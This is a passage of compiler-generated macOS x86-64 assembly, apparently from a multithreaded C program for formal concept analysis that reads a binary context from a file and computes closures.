@thread_queue_limit .comm _initial_thr_stat,12,2 ; @initial_thr_stat .comm _thread_id,8,3 ; @thread_id .comm _thread_i,8,3 ; @thread_i l_.str.8: ; @.str.8 .asciz "INFO: running in %i threads\n" l_.str.9: ; @.str.9 .asciz "INFO: total %7i closures\n" l_.str.10: ; @.str.10 .asciz "INFO: total %7i concepts\n" .comm _in_file,8,3 ; @in_file l_.str.11: ; @.str.11 .asciz "rb" l_.str.12: ; @.str.12 .asciz "wb" l_.str.13: ; @.str.13 .asciz "%s: cannot open input data stream\n" l_.str.14: ; @.str.14 .asciz "%s: open output data stream\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _get_next_integer ## -- Begin function get_next_integer .p2align 4, 0x90 _get_next_integer: ## @get_next_integer .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -16(%rbp) movq %rsi, -24(%rbp) movl $32, -28(%rbp) movq -24(%rbp), %rax movl $-1, (%rax) LBB0_1: ## =>This Inner Loop Header: Depth=1 xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $-1, -28(%rbp) movb %al, -29(%rbp) ## 1-byte Spill je LBB0_5 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movb $1, %al cmpl $48, -28(%rbp) movb %al, -30(%rbp) ## 1-byte Spill jl LBB0_4 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 cmpl $57, -28(%rbp) setg %al movb %al, -30(%rbp) ## 1-byte Spill LBB0_4: ## in Loop: Header=BB0_1 Depth=1 movb -30(%rbp), %al ## 1-byte Reload movb %al, -29(%rbp) ## 1-byte Spill LBB0_5: ## in Loop: Header=BB0_1 Depth=1 movb -29(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB0_6 jmp LBB0_9 LBB0_6: ## in Loop: Header=BB0_1 Depth=1 movq -16(%rbp), %rdi callq _fgetc movl %eax, -28(%rbp) cmpl $10, -28(%rbp) jne LBB0_8 ## %bb.7: movl $1, -4(%rbp) jmp LBB0_19 LBB0_8: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_1 LBB0_9: cmpl $-1, -28(%rbp) jne LBB0_11 ## %bb.10: movl $0, -4(%rbp) jmp LBB0_19 LBB0_11: movq -24(%rbp), %rax movl $0, (%rax) LBB0_12: ## =>This Inner Loop Header: Depth=1 xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $48, -28(%rbp) movb %al, -31(%rbp) ## 1-byte Spill jl LBB0_14 ## %bb.13: ## in Loop: Header=BB0_12 Depth=1 cmpl $57, -28(%rbp) setle %al movb %al, -31(%rbp) ## 1-byte Spill LBB0_14: ## in Loop: Header=BB0_12 Depth=1 movb -31(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB0_15 jmp LBB0_16 LBB0_15: ## in Loop: Header=BB0_12 Depth=1 movq -24(%rbp), %rax imull $10, (%rax), %ecx movl %ecx, (%rax) movl -28(%rbp), %ecx subl $48, %ecx movq -24(%rbp), %rax addl (%rax), %ecx movl %ecx, (%rax) movq -16(%rbp), %rdi callq _fgetc movl %eax, -28(%rbp) jmp LBB0_12 LBB0_16: movl -28(%rbp), %edi movq -16(%rbp), %rsi callq _ungetc movl _attr_offset(%rip), %edx movq -24(%rbp), %rax movl (%rax), %ecx subl %edx, %ecx movl %ecx, (%rax) movq -24(%rbp), %rax cmpl $0, (%rax) jge LBB0_18 ## %bb.17: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movq -24(%rbp), %rax movl (%rax), %edx movl _attr_offset(%rip), %ecx addl %ecx, %edx leaq L_.str(%rip), %rsi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _fprintf movl $1, %edi callq _exit LBB0_18: movl $1, -4(%rbp) LBB0_19: movl -4(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _table_of_ints_init ## -- Begin function table_of_ints_init .p2align 4, 0x90 _table_of_ints_init: ## @table_of_ints_init .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -4(%rbp) movslq -4(%rbp), %rax imulq $12, %rax, %rdi callq _malloc movq %rax, %rcx movq _table_of_ints@GOTPCREL(%rip), %rax movq %rcx, (%rax) movl $0, -8(%rbp) LBB1_1: ## =>This Inner Loop Header: Depth=1 movl -8(%rbp), %eax cmpl -4(%rbp), %eax jge LBB1_4 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 movq _table_of_ints@GOTPCREL(%rip), %rax movq (%rax), %rdi movslq -8(%rbp), %rax imulq $12, %rax, %rax addq %rax, %rdi movl -8(%rbp), %r8d xorl %esi, %esi movl $8, %edx leaq L_.str.1(%rip), %rcx movb $0, %al callq ___sprintf_chk movq _table_of_ints@GOTPCREL(%rip), %rax movq (%rax), %rdi movslq -8(%rbp), %rax imulq $12, %rax, %rax addq %rax, %rdi callq _strlen movl %eax, %ecx movq _table_of_ints@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -8(%rbp), %rdx imulq $12, %rdx, %rdx addq %rdx, %rax movl %ecx, 8(%rax) ## %bb.3: ## in Loop: Header=BB1_1 Depth=1 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) jmp LBB1_1 LBB1_4: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _read_context ## -- Begin function read_context .p2align 4, 0x90 _read_context: ## @read_context .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movq %rdi, -8(%rbp) movl $-1, -12(%rbp) movl $0, -16(%rbp) movl $-1, -20(%rbp) movl $-1, -24(%rbp) movl $0, -40(%rbp) movl $0, -44(%rbp) movq $1024, -56(%rbp) ## imm = 0x400 cmpl $0, _attr_offset(%rip) jge LBB2_2 ## %bb.1: movl $0, _attr_offset(%rip) LBB2_2: movq -56(%rbp), %rdi shlq $2, %rdi callq _malloc movq %rax, -32(%rbp) cmpq $0, -32(%rbp) jne LBB2_4 ## %bb.3: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq L_.str.2(%rip), %rsi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _fprintf movl $3, %edi callq _exit LBB2_4: jmp LBB2_5 LBB2_5: ## =>This Inner Loop Header: Depth=1 movq -8(%rbp), %rdi leaq -16(%rbp), %rsi callq _get_next_integer cmpl $0, %eax je LBB2_23 ## %bb.6: ## in Loop: Header=BB2_5 Depth=1 cmpl $0, -16(%rbp) jge LBB2_9 ## %bb.7: ## in Loop: Header=BB2_5 Depth=1 cmpl $0, -12(%rbp) jge LBB2_9 ## %bb.8: ## in Loop: Header=BB2_5 Depth=1 jmp LBB2_5 LBB2_9: ## in Loop: Header=BB2_5 Depth=1 cmpl $0, -16(%rbp) jge LBB2_15 ## %bb.10: ## in Loop: Header=BB2_5 Depth=1 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) movslq -40(%rbp), %rax cmpq -56(%rbp), %rax jb LBB2_14 ## %bb.11: ## in Loop: Header=BB2_5 Depth=1 movq -56(%rbp), %rax addq $1024, %rax ## imm = 0x400 movq %rax, -56(%rbp) movq -32(%rbp), %rdi movq -56(%rbp), %rsi shlq $2, %rsi callq _realloc movq %rax, -32(%rbp) cmpq $0, -32(%rbp) jne LBB2_13 ## %bb.12: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq L_.str.3(%rip), %rsi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _fprintf movl $4, %edi callq _exit LBB2_13: ## in Loop: Header=BB2_5 Depth=1 jmp LBB2_14 LBB2_14: ## in Loop: Header=BB2_5 Depth=1 movq -32(%rbp), %rax movslq -40(%rbp), %rcx movl $-1, (%rax,%rcx,4) movl -40(%rbp), %eax addl $1, %eax movl %eax, -40(%rbp) jmp LBB2_22 LBB2_15: ## in Loop: Header=BB2_5 Depth=1 movl -16(%rbp), %eax cmpl -20(%rbp), %eax jle LBB2_17 ## %bb.16: ## in Loop: Header=BB2_5 Depth=1 movl -16(%rbp), %eax movl %eax, -20(%rbp) LBB2_17: ## in Loop: Header=BB2_5 Depth=1 movslq -40(%rbp), %rax cmpq -56(%rbp), %rax jb LBB2_21 ## %bb.18: ## in Loop: Header=BB2_5 Depth=1 movq -56(%rbp), %rax addq $1024, %rax ## imm = 0x400 movq %rax, -56(%rbp) movq -32(%rbp), %rdi movq -56(%rbp), %rsi shlq $2, %rsi callq _realloc movq %rax, -32(%rbp) cmpq $0, -32(%rbp) jne LBB2_20 ## %bb.19: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq L_.str.3(%rip), %rsi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _fprintf movl $4, %edi callq _exit LBB2_20: ## in Loop: Header=BB2_5 Depth=1 jmp LBB2_21 LBB2_21: ## in Loop: Header=BB2_5 Depth=1 movl -16(%rbp), %edx movq -32(%rbp), %rax movslq -40(%rbp), %rcx movl %edx, (%rax,%rcx,4) movl -40(%rbp), %eax addl $1, %eax movl %eax, -40(%rbp) movl _table_entries(%rip), %eax addl $1, %eax movl %eax, _table_entries(%rip) LBB2_22: ## in Loop: Header=BB2_5 Depth=1 movl -16(%rbp), %eax movl %eax, -12(%rbp) jmp LBB2_5 LBB2_23: cmpl $0, -12(%rbp) jl LBB2_29 ## %bb.24: movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) movslq -40(%rbp), %rax cmpq -56(%rbp), %rax jb LBB2_28 ## %bb.25: movq -56(%rbp), %rax addq $1024, %rax ## imm = 0x400 movq %rax, -56(%rbp) movq -32(%rbp), %rdi movq -56(%rbp), %rsi shlq $2, %rsi callq _realloc movq %rax, -32(%rbp) cmpq $0, -32(%rbp) jne LBB2_27 ## %bb.26: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq L_.str.3(%rip), %rsi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _fprintf movl $4, %edi callq _exit LBB2_27: jmp LBB2_28 LBB2_28: movq -32(%rbp), %rax movslq -40(%rbp), %rcx movl $-1, (%rax,%rcx,4) movl -40(%rbp), %eax addl $1, %eax movl %eax, -40(%rbp) LBB2_29: movl -24(%rbp), %eax addl $1, %eax movl %eax, _objects(%rip) movl -20(%rbp), %eax addl $1, %eax movl %eax, _attributes(%rip) movslq _attributes(%rip), %rax shrq $6, %rax addq $1, %rax ## kill: def $eax killed $eax killed $rax movl %eax, _int_count_a(%rip) movslq _objects(%rip), %rax shrq $6, %rax addq $1, %rax ## kill: def $eax killed $eax killed $rax movl %eax, _int_count_o(%rip) movslq _int_count_a(%rip), %rdi shlq $3, %rdi movslq _objects(%rip), %rax imulq %rax, %rdi callq _malloc movq %rax, %rcx movq _context@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq _context@GOTPCREL(%rip), %rax cmpq $0, (%rax) jne LBB2_31 ## %bb.30: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq L_.str.4(%rip), %rsi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _fprintf movl $5, %edi callq _exit LBB2_31: movq _context@GOTPCREL(%rip), %rax movq (%rax), %rdi movslq _int_count_a(%rip), %rdx shlq $3, %rdx movslq _objects(%rip), %rax imulq %rax, %rdx xorl %esi, %esi movq $-1, %rcx callq ___memset_chk movl $0, -36(%rbp) LBB2_32: ## =>This Inner Loop Header: Depth=1 movl -36(%rbp), %eax cmpl -40(%rbp), %eax jge LBB2_37 ## %bb.33: ## in Loop: Header=BB2_32 Depth=1 movq -32(%rbp), %rax movslq -36(%rbp), %rcx cmpl $0, (%rax,%rcx,4) jge LBB2_35 ## %bb.34: ## in Loop: Header=BB2_32 Depth=1 movl -44(%rbp), %eax addl $1, %eax movl %eax, -44(%rbp) jmp LBB2_36 LBB2_35: ## in Loop: Header=BB2_32 Depth=1 movq -32(%rbp), %rax movslq -36(%rbp), %rcx movslq (%rax,%rcx,4), %rax andq $63, %rax movl $63, %ecx subq %rax, %rcx movl $1, %edx ## kill: def $cl killed $rcx shlq %cl, %rdx movq _context@GOTPCREL(%rip), %rax movq (%rax), %rax movl -44(%rbp), %ecx imull _int_count_a(%rip), %ecx movslq %ecx, %rcx movq -32(%rbp), %rsi movslq -36(%rbp), %rdi movslq (%rsi,%rdi,4), %rsi shrq $6, %rsi addq %rsi, %rcx orq (%rax,%rcx,8), %rdx movq %rdx, (%rax,%rcx,8) LBB2_36: ## in Loop: Header=BB2_32 Depth=1 movl -36(%rbp), %eax addl $1, %eax movl %eax, -36(%rbp) jmp LBB2_32 LBB2_37: movq -32(%rbp), %rdi callq _free addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _print_attributes ## -- Begin function print_attributes .p2align 4, 0x90 _print_attributes: ## @print_attributes .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $320, %rsp ## imm = 0x140 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movq %rdi, -296(%rbp) movl $1, -312(%rbp) movl $0, -316(%rbp) movl $0, -320(%rbp) cmpl $0, _verbosity_level(%rip) jg LBB3_2 ## %bb.1: jmp LBB3_24 LBB3_2: movl $0, -304(%rbp) movl $0, -308(%rbp) LBB3_3: ## =>This Loop Header: Depth=1 ## Child Loop BB3_5 Depth 2 movl -304(%rbp), %eax cmpl _int_count_a(%rip), %eax jge LBB3_20 ## %bb.4: ## in Loop: Header=BB3_3 Depth=1 movl $63, -300(%rbp) LBB3_5: ## Parent Loop BB3_3 Depth=1 ## => This Inner Loop Header: Depth=2 cmpl $0, -300(%rbp) jl LBB3_18 ## %bb.6: ## in Loop: Header=BB3_5 Depth=2 movq -296(%rbp), %rax movslq -304(%rbp), %rcx movq (%rax,%rcx,8), %rax movl -300(%rbp), %ecx ## kill: def $rcx killed $ecx movl $1, %edx ## kill: def $cl killed $rcx shlq %cl, %rdx movq %rdx, %rcx andq %rcx, %rax cmpq $0, %rax je LBB3_14 ## %bb.7: ## in Loop: Header=BB3_5 Depth=2 cmpl $0, -312(%rbp) jne LBB3_9 ## %bb.8: ## in Loop: Header=BB3_5 Depth=2 movl -316(%rbp), %eax movl %eax, %ecx addl $1, %ecx movl %ecx, -316(%rbp) cltq movb $32, -288(%rbp,%rax) LBB3_9: ## in Loop: Header=BB3_5 Depth=2 leaq -288(%rbp), %rdi movslq -316(%rbp), %rax addq %rax, %rdi movq _table_of_ints@GOTPCREL(%rip), %rax movq (%rax), %rsi movslq -308(%rbp), %rax imulq $12, %rax, %rax addq %rax, %rsi movq $-1, %rdx callq ___strcpy_chk movq _table_of_ints@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -308(%rbp), %rcx imulq $12, %rcx, %rcx addq %rcx, %rax movl 8(%rax), %eax addl -316(%rbp), %eax movl %eax, -316(%rbp) cmpl $256, -316(%rbp) ## imm = 0x100 jl LBB3_13 ## %bb.10: ## in Loop: Header=BB3_5 Depth=2 movslq -316(%rbp), %rax movb $0, -288(%rbp,%rax) movl $0, -316(%rbp) cmpl $0, -320(%rbp) jne LBB3_12 ## %bb.11: ## in Loop: Header=BB3_5 Depth=2 leaq _output_lock(%rip), %rdi callq _pthread_mutex_lock movl $1, -320(%rbp) LBB3_12: ## in Loop: Header=BB3_5 Depth=2 leaq -288(%rbp), %rdi movq _out_file@GOTPCREL(%rip), %rax movq (%rax), %rsi callq _fputs LBB3_13: ## in Loop: Header=BB3_5 Depth=2 movl $0, -312(%rbp) LBB3_14: ## in Loop: Header=BB3_5 Depth=2 movl -308(%rbp), %eax addl $1, %eax movl %eax, -308(%rbp) movl -308(%rbp), %eax cmpl _attributes(%rip), %eax jl LBB3_16 ## %bb.15: jmp LBB3_21 LBB3_16: ## in Loop: Header=BB3_5 Depth=2 jmp LBB3_17 LBB3_17: ## in Loop: Header=BB3_5 Depth=2 movl -300(%rbp), %eax addl $-1, %eax movl %eax, -300(%rbp) jmp LBB3_5 LBB3_18: ## in Loop: Header=BB3_3 Depth=1 jmp LBB3_19 LBB3_19: ## in Loop: Header=BB3_3 Depth=1 movl -304(%rbp), %eax addl $1, %eax movl %eax, -304(%rbp) jmp LBB3_3 LBB3_20: jmp LBB3_21 LBB3_21: movl -316(%rbp), %eax movl %eax, %ecx addl $1, %ecx movl %ecx, -316(%rbp) cltq movb $10, -288(%rbp,%rax) movslq -316(%rbp), %rax movb $0, -288(%rbp,%rax) cmpl $0, -320(%rbp) jne LBB3_23 ## %bb.22: leaq _output_lock(%rip), %rdi callq _pthread_mutex_lock LBB3_23: leaq -288(%rbp), %rdi movq _out_file@GOTPCREL(%rip), %rax movq (%rax), %rsi callq _fputs leaq _output_lock(%rip), %rdi callq _pthread_mutex_unlock LBB3_24: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB3_26 ## %bb.25: addq $320, %rsp ## imm = 0x140 popq %rbp retq LBB3_26: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _print_context_info ## -- Begin function print_context_info .p2align 4, 0x90 _print_context_info: ## @print_context_info .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp cmpl $2, _verbosity_level(%rip) jl LBB4_2 ## %bb.1: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movl _objects(%rip), %edx movl _attributes(%rip), %ecx movl _table_entries(%rip), %r8d leaq L_.str.5(%rip), %rsi movb $0, %al callq _fprintf LBB4_2: popq %rbp retq .cfi_endproc ## -- End function .globl _print_thread_info ## -- Begin function print_thread_info .p2align 4, 0x90 _print_thread_info: ## @print_thread_info .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rsi, -32(%rbp) movl %edx, -24(%rbp) movq -32(%rbp), %rax movq %rax, -16(%rbp) movl -24(%rbp), %eax movl %eax, -8(%rbp) movl %edi, -36(%rbp) cmpl $2, _verbosity_level(%rip) jl LBB5_2 ## %bb.1: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movl -36(%rbp), %edx movl -16(%rbp), %ecx movl -12(%rbp), %r8d movl -8(%rbp), %r9d leaq L_.str.6(%rip), %rsi movb $0, %al callq _fprintf LBB5_2: addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _print_initial_thread_info ## -- Begin function print_initial_thread_info .p2align 4, 0x90 _print_initial_thread_info: ## @print_initial_thread_info .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rsi, -32(%rbp) movl %edx, -24(%rbp) movq -32(%rbp), %rax movq %rax, -16(%rbp) movl -24(%rbp), %eax movl %eax, -8(%rbp) movl %edi, -36(%rbp) movl %ecx, -40(%rbp) cmpl $2, _verbosity_level(%rip) jl LBB6_2 ## %bb.1: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movl -16(%rbp), %ecx movl -12(%rbp), %r8d movl -36(%rbp), %r9d addl $1, %r9d movl -40(%rbp), %eax leaq L_.str.7(%rip), %rsi xorl %edx, %edx movl %eax, (%rsp) movb $0, %al callq _fprintf LBB6_2: addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _initialize_algorithm ## -- Begin function initialize_algorithm .p2align 4, 0x90 _initialize_algorithm: ## @initialize_algorithm .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movl $0, -4(%rbp) LBB7_1: ## =>This Loop Header: Depth=1 ## Child Loop BB7_3 Depth 2 movslq -4(%rbp), %rax cmpq $63, %rax ja LBB7_8 ## %bb.2: ## in Loop: Header=BB7_1 Depth=1 movslq -4(%rbp), %rcx movq _upto_bit@GOTPCREL(%rip), %rax movq $0, (%rax,%rcx,8) movl $63, -8(%rbp) LBB7_3: ## Parent Loop BB7_1 Depth=1 ## => This Inner Loop Header: Depth=2 movl -8(%rbp), %eax cmpl -4(%rbp), %eax jle LBB7_6 ## %bb.4: ## in Loop: Header=BB7_3 Depth=2 movl -8(%rbp), %eax movl %eax, %ecx movl $1, %edx ## kill: def $cl killed $rcx shlq %cl, %rdx movslq -4(%rbp), %rcx movq _upto_bit@GOTPCREL(%rip), %rax orq (%rax,%rcx,8), %rdx movq _upto_bit@GOTPCREL(%rip), %rax movq %rdx, (%rax,%rcx,8) ## %bb.5: ## in Loop: Header=BB7_3 Depth=2 movl -8(%rbp), %eax addl $-1, %eax movl %eax, -8(%rbp) jmp LBB7_3 LBB7_6: ## in Loop: Header=BB7_1 Depth=1 jmp LBB7_7 LBB7_7: ## in Loop: Header=BB7_1 Depth=1 movl -4(%rbp), %eax addl $1, %eax movl %eax, -4(%rbp) jmp LBB7_1 LBB7_8: movslq _int_count_o(%rip), %rdi shlq $3, %rdi shlq $6, %rdi movslq _int_count_a(%rip), %rax imulq %rax, %rdi callq _malloc movq %rax, -40(%rbp) movq -40(%rbp), %rdi movslq _int_count_o(%rip), %rdx shlq $3, %rdx shlq $6, %rdx movslq _int_count_a(%rip), %rax imulq %rax, %rdx xorl %esi, %esi movq $-1, %rcx callq ___memset_chk movslq _int_count_a(%rip), %rdi shlq $9, %rdi callq _malloc movq %rax, %rcx movq _cols@GOTPCREL(%rip), %rax movq %rcx, (%rax) movslq _int_count_a(%rip), %rdi shlq $8, %rdi callq _malloc movq %rax, %rcx movq _supps@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq -40(%rbp), %rax movq %rax, -24(%rbp) movl $0, -8(%rbp) LBB7_9: ## =>This Loop Header: Depth=1 ## Child Loop BB7_11 Depth 2 ## Child Loop BB7_13 Depth 3 movl -8(%rbp), %eax cmpl _int_count_a(%rip), %eax jge LBB7_22 ## %bb.10: ## in Loop: Header=BB7_9 Depth=1 movl $63, -4(%rbp) LBB7_11: ## Parent Loop BB7_9 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB7_13 Depth 3 cmpl $0, -4(%rbp) jl LBB7_20 ## %bb.12: ## in Loop: Header=BB7_11 Depth=2 movl -4(%rbp), %eax movl %eax, %ecx movl $1, %eax ## kill: def $cl killed $rcx shlq %cl, %rax movq %rax, -32(%rbp) movq -24(%rbp), %rdx movq _cols@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -8(%rbp), %rcx shlq $9, %rcx addq %rcx, %rax movslq -4(%rbp), %rcx movq %rdx, (%rax,%rcx,8) movq _supps@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -8(%rbp), %rcx shlq $8, %rcx addq %rcx, %rax movslq -4(%rbp), %rcx movl $0, (%rax,%rcx,4) movl $0, -12(%rbp) movl -8(%rbp), %eax movl %eax, -16(%rbp) LBB7_13: ## Parent Loop BB7_9 Depth=1 ## Parent Loop BB7_11 Depth=2 ## => This Inner Loop Header: Depth=3 movl -12(%rbp), %eax cmpl _objects(%rip), %eax jge LBB7_18 ## %bb.14: ## in Loop: Header=BB7_13 Depth=3 movq _context@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -16(%rbp), %rcx movq (%rax,%rcx,8), %rax andq -32(%rbp), %rax cmpq $0, %rax je LBB7_16 ## %bb.15: ## in Loop: Header=BB7_13 Depth=3 movslq -12(%rbp), %rcx andq $63, %rcx movl $1, %edx ## kill: def $cl killed $rcx shlq %cl, %rdx movq -24(%rbp), %rax movslq -12(%rbp), %rcx shrq $6, %rcx orq (%rax,%rcx,8), %rdx movq %rdx, (%rax,%rcx,8) movq _supps@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -8(%rbp), %rcx shlq $8, %rcx addq %rcx, %rax movslq -4(%rbp), %rcx movl (%rax,%rcx,4), %edx addl $1, %edx movl %edx, (%rax,%rcx,4) LBB7_16: ## in Loop: Header=BB7_13 Depth=3 jmp LBB7_17 LBB7_17: ## in Loop: Header=BB7_13 Depth=3 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) movl _int_count_a(%rip), %eax addl -16(%rbp), %eax movl %eax, -16(%rbp) jmp LBB7_13 LBB7_18: ## in Loop: Header=BB7_11 Depth=2 movl _int_count_o(%rip), %ecx movq -24(%rbp), %rax movslq %ecx, %rcx shlq $3, %rcx addq %rcx, %rax movq %rax, -24(%rbp) ## %bb.19: ## in Loop: Header=BB7_11 Depth=2 movl -4(%rbp), %eax addl $-1, %eax movl %eax, -4(%rbp) jmp LBB7_11 LBB7_20: ## in Loop: Header=BB7_9 Depth=1 jmp LBB7_21 LBB7_21: ## in Loop: Header=BB7_9 Depth=1 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) jmp LBB7_9 LBB7_22: movl _attributes(%rip), %edi callq _table_of_ints_init addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _compute_closure ## -- Begin function compute_closure .p2align 4, 0x90 _compute_closure: ## @compute_closure .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq %rdx, -24(%rbp) movq %rcx, -32(%rbp) movq %r8, -40(%rbp) movq -8(%rbp), %rdi movslq _int_count_a(%rip), %rdx shlq $3, %rdx movl $255, %esi movq $-1, %rcx callq ___memset_chk cmpq $0, -32(%rbp) je LBB8_18 ## %bb.1: movq -40(%rbp), %rax movq $0, (%rax) movl $0, -52(%rbp) LBB8_2: ## =>This Loop Header: Depth=1 ## Child Loop BB8_5 Depth 2 ## Child Loop BB8_8 Depth 3 movl -52(%rbp), %eax cmpl _int_count_o(%rip), %eax jge LBB8_17 ## %bb.3: ## in Loop: Header=BB8_2 Depth=1 movq -24(%rbp), %rax movslq -52(%rbp), %rcx movq (%rax,%rcx,8), %rdx movq -32(%rbp), %rax movslq -52(%rbp), %rcx andq (%rax,%rcx,8), %rdx movq -16(%rbp), %rax movslq -52(%rbp), %rcx movq %rdx, (%rax,%rcx,8) movq -16(%rbp), %rax movslq -52(%rbp), %rcx cmpq $0, (%rax,%rcx,8) je LBB8_15 ## %bb.4: ## in Loop: Header=BB8_2 Depth=1 movl $0, -56(%rbp) LBB8_5: ## Parent Loop BB8_2 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB8_8 Depth 3 movslq -56(%rbp), %rax cmpq $63, %rax ja LBB8_14 ## %bb.6: ## in Loop: Header=BB8_5 Depth=2 movq -16(%rbp), %rax movslq -52(%rbp), %rcx movq (%rax,%rcx,8), %rax movl -56(%rbp), %ecx ## kill: def $rcx killed $ecx movl $1, %edx ## kill: def $cl killed $rcx shlq %cl, %rdx movq %rdx, %rcx andq %rcx, %rax cmpq $0, %rax je LBB8_12 ## %bb.7: ## in Loop: Header=BB8_5 Depth=2 movl $0, -44(%rbp) movslq _int_count_a(%rip), %rax movslq -52(%rbp), %rcx shlq $6, %rcx movslq -56(%rbp), %rdx addq %rdx, %rcx imulq %rcx, %rax ## kill: def $eax killed $eax killed $rax movl %eax, -48(%rbp) LBB8_8: ## Parent Loop BB8_2 Depth=1 ## Parent Loop BB8_5 Depth=2 ## => This Inner Loop Header: Depth=3 movl -44(%rbp), %eax cmpl _int_count_a(%rip), %eax jge LBB8_11 ## %bb.9: ## in Loop: Header=BB8_8 Depth=3 movq _context@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -48(%rbp), %rcx movq (%rax,%rcx,8), %rdx movq -8(%rbp), %rax movslq -44(%rbp), %rcx andq (%rax,%rcx,8), %rdx movq %rdx, (%rax,%rcx,8) ## %bb.10: ## in Loop: Header=BB8_8 Depth=3 movl -44(%rbp), %eax addl $1, %eax movl %eax, -44(%rbp) movl -48(%rbp), %eax addl $1, %eax movl %eax, -48(%rbp) jmp LBB8_8 LBB8_11: ## in Loop: Header=BB8_5 Depth=2 movq -40(%rbp), %rax movq (%rax), %rcx addq $1, %rcx movq %rcx, (%rax) LBB8_12: ## in Loop: Header=BB8_5 Depth=2 jmp LBB8_13 LBB8_13: ## in Loop: Header=BB8_5 Depth=2 movl -56(%rbp), %eax addl $1, %eax movl %eax, -56(%rbp) jmp LBB8_5 LBB8_14: ## in Loop: Header=BB8_2 Depth=1 jmp LBB8_15 LBB8_15: ## in Loop: Header=BB8_2 Depth=1 jmp LBB8_16 LBB8_16: ## in Loop: Header=BB8_2 Depth=1 movl -52(%rbp), %eax addl $1, %eax movl %eax, -52(%rbp) jmp LBB8_2 LBB8_17: jmp LBB8_27 LBB8_18: movq -16(%rbp), %rdi movslq _int_count_o(%rip), %rdx shlq $3, %rdx movl $255, %esi movq $-1, %rcx callq ___memset_chk movl $0, -48(%rbp) LBB8_19: ## =>This Loop Header: Depth=1 ## Child Loop BB8_21 Depth 2 movl -48(%rbp), %eax cmpl _objects(%rip), %eax jge LBB8_26 ## %bb.20: ## in Loop: Header=BB8_19 Depth=1 movl $0, -44(%rbp) LBB8_21: ## Parent Loop BB8_19 Depth=1 ## => This Inner Loop Header: Depth=2 movl -44(%rbp), %eax cmpl 